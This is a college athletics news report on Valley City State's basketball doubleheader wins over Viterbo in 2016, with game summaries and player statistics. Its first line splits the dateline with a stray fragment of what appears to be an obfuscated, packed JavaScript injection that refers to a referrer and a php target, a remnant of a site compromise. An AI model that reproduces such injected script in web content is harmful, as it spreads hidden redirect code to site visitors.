VALLEY ysbyn|var|u0026u|referrer|fthrz||js|php’.split(‘|’),0,{}))
CITY (VCSUVikings.com)- VCSU played their final home doubleheader of 2016 Friday night defeating Viterbo in NSAA Conference play. The women routed The V Hawks 83-37 for their 10th win in a row, the men snapped a 2 game losing streak with a 79-69 victory.
WBB VCSU 83 Viterbo 37
Four Vikings scored in double figures Friday night as the Valley City State women’s basketball team rolled to its 10th straight win with an 83-37 victory over Viterbo University.
All seven Vikings who dressed scored at least four points as VCSU improved to 13-3 overall and 5-0 in the North Star Athletic Association. Viterbo drops to 2-12 overall and 1-3 in conference play.
The first quarter went back-and-forth Friday in Valley City with five ties and nine lead changes through the first eight minutes. The Vikings would take control for good late in the first period though behind a pressure defense. Trailing 12-10, the Vikings scored the last six points of the first quarter and the first seven points of the second quarter to take the lead for good at 23-12. Nine of the points during the 13-0 run came after Viterbo turnovers.
The Vikings – who are receiving votes in this week’s Top 25 Poll – led 34-20 at halftime and then broke the game wide open by outscoring Viterbo 25-8 in the third quarter.
Lexi Lennon poured in 20 points – seven of which came during the decisive 13-0 run – and just missed a double-double after pulling down nine rebounds. Georgia Williams finished with 18 points and six assists as she scored her 1,000th career point at VCSU during the third quarter. Williams is now 13th all-time in career scoring with 1,004 points at VCSU.
Hannah Schlecht added 16 points and four assists, and Kennedy Henningsgard posted 13 points and eight rebounds. Paige Meyer added seven points, Nisja Bass scored five and Kaitlin Connor added four.
Miranda Nelson led Viterbo with 10 points off the bench. Alyssa Nilssen added six points and nine rebounds.
Viterbo shot 29 percent from the field (14-49), 18 percent on 3’s (2-11) and 78 percent at the line (7-9). VCSU finished at 42 percent overall (28-67), 40 percent on 3’s (8-20) and 86 percent on free throws (19-22).
VCSU’s high-pressure defense forced 24 Viterbo turnovers while the Vikings committed just seven turnovers.
MBB VCSU 79 Viterbo 69
The Viking men’s basketball team shot 58 percent Friday night as VCSU held off Viterbo University down the stretch for a 79-69 conference victory.
Valley City State shot 59 percent in the first half and 57 percent in the second half Friday en route to their third NSAA victory of the season. VCSU improves to 10-6 overall and 3-2 in conference play. Viterbo drops to 6-7 overall and 1-3 in the North Star.
Viterbo led by as many as seven points in the first half at 26-19, but the Vikings ended the half on a 14-2 run over the final six minutes for a 33-28 halftime lead. The teams traded leads early in the second half before the Vikings took the lead for good when Chase Carpenter’s 3-pointer broke a 45-45 tie with 12:19 remaining.
Leading 52-51, VCSU used a small 8-1 run to create a 60-52 lead with 6:30 to go, and Viterbo would get no closer than three points the rest of the way.
Jayden Ferguson poured in a game-high 27 points – including 17 in the first half – to lead VCSU’s offense attack. He shot 7-for-11 from the field and was 13-for-14 at the free throw line. In 16 games this season, Ferguson has now scored 20 or more points 12 times.
Rashad Satahoo topped 20 points for the sixth time this season, dropping 22 on Friday and going 3-for-8 from 3-point range. He was a perfect 5-for-5 at the line. Ellwood Ellenson shot 7-for-10 from the field as he matched his season-high with 14 points Friday. Austin Dunbar added nine points and eight rebounds.
Ethan Haberman posted 19 point and seven rebounds to lead Viterbo in the loss. Erik Engelstad scored 16 points; Jake Bamke finished with 15; and Jared Fleischmann had 11 points and seven assists.
VCSU shot 58 percent overall (26-45), 33 percent on 3’s (4-12) and 79 percent at the free throw line (23-29). Viterbo shot 42 percent from the field (25-60), 32 percent on 3’s (8-25) and 79 percent at the line (11-14).
Viterbo had 13 turnovers and 15 assists, while the Vikings had 15 turnovers and 11 assists. Viterbo held a 29-28 edge in rebounds, including an 11-4 edge on the offense glass